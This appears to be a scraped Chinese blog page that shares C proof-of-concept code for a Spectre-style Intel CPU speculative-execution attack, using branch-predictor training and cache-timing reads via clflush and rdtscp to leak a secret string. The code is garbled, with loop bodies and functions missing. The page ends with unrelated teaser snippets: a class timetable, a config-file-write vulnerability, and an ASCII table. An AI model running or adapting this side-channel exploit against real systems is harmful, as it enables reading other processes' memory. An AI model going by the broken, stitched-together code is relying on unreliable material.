發乙份Intel CPU漏洞的POC

2021-08-14 14:15:15 字數 1934 閱讀 3944

最近都在發intel cpu「**執行」的poc,俺也發乙份

#define _crt_secure_no_warnings

#include #include #include #ifdef _msc_ver // 如果定義了微軟編譯器版本

// __machinei(unsigned __int64 __rdtscp(unsigned int*))

// __machinex86x_x64(void _mm_clflush(void const *))

#include // for rdtscp and clflush

#pragma optimize("gz", on) // g全域性優化 z大小優化 s速度優化 on 開啟

#else // 沒有定義微軟編譯器版本

#include // for rdtscp and clflush

#endif

#define __trytimes 999

unsigned int array1_size=16;

uint8_t array1[160]=;

//uint8_t unused1[64];

//uint8_t unused2[64];

uint8_t array2[256*512]; //main函式中初始化為1

char *secret="the magic words are squeamish ossifrage";

/* 使用 temp 全域性變數阻止編譯器優化 victim_function() */

uint8_t temp=0;

void victim_function(size_t x)

training_x = tries % array1_size; //training_x(<16):訓練 cpu 快取需要的資料

for(j=29; j>=0; j--)

//???????????????????????

/* j % 6 = 0 則 x = malicious_x

j % 6 != 0 則 x = training_x */

x=((j%6)-1) & ~0xffff;

x=(x | (x>>16));

x=training_x ^ (x&(malicious_x ^ training_x));

/* 呼叫觸發 cache ** 共計觸發 5 次,j = 24、18、12、6、0時,都會觸發分支**,每次觸發傳入的x值都是malicious_x */

victim_function(x);

} for(i=0; i<256; ++i)

/* 獲取分組中命中率最高的兩個分組,分別儲存在 j(最高命中),k(次高命中)裡 */

j = k = -1;

for (i = 0; i < 256; i++)

else if (k < 0 || results[i] >= results[k])

}/* 最高命中項命中次數大於 2 倍加 5 的次高命中項次數 或 僅僅最高命中項命中 2 次 則退出迴圈,成功找到命中項 */

if(results[j]>=(2*results[k]+5) || (results[j]==2 && results[k]==0))

break;

} results[0] ^= junk; //使用 junk 防止優化輸出

value[0]=(uint8_t)j;

score[0]=results[j];

value[1]=(uint8_t)k;

score[1]=results[k];

}int main(int argc, const char **argv)

system("pause");

return 0;

}

編譯環境:vs2010

發乙份我的課表

星期一 8 00 9 50 高等數學c 一 專業必修課 10 10 12 00 現代漢語 上 專業必修課 單週 16 50 18 40 計算概論 專業必修課 星期二 10 10 12 00 大學英語 二 全校必修課 我他媽的才分到二級 14 40 16 30 古代漢語 上 專業必修課 星期三8 00...

蹭熱度分享乙份寫配置漏洞案例

漏洞 還是出在乙個寫配置檔案的函式當中,如下 大部分 刪去,只留核心部分 public function input c elseif name else filename newsid php res write config file this lib path data dir filenam...

乙份完整的ACSII碼表

雖然現在很多都是有unicode碼了,這也是個趨勢。但與硬體通訊時,比如與數據機通訊時,雖然用的也是ucs2編碼 用於傳送unicode字元 但實際交流還是採用的是ascii碼,ascii碼在內容控制上還是有很大的用去,如命令返回格式 分割等,奉上乙份完整意義的acsii碼,為開發助力。ascii表...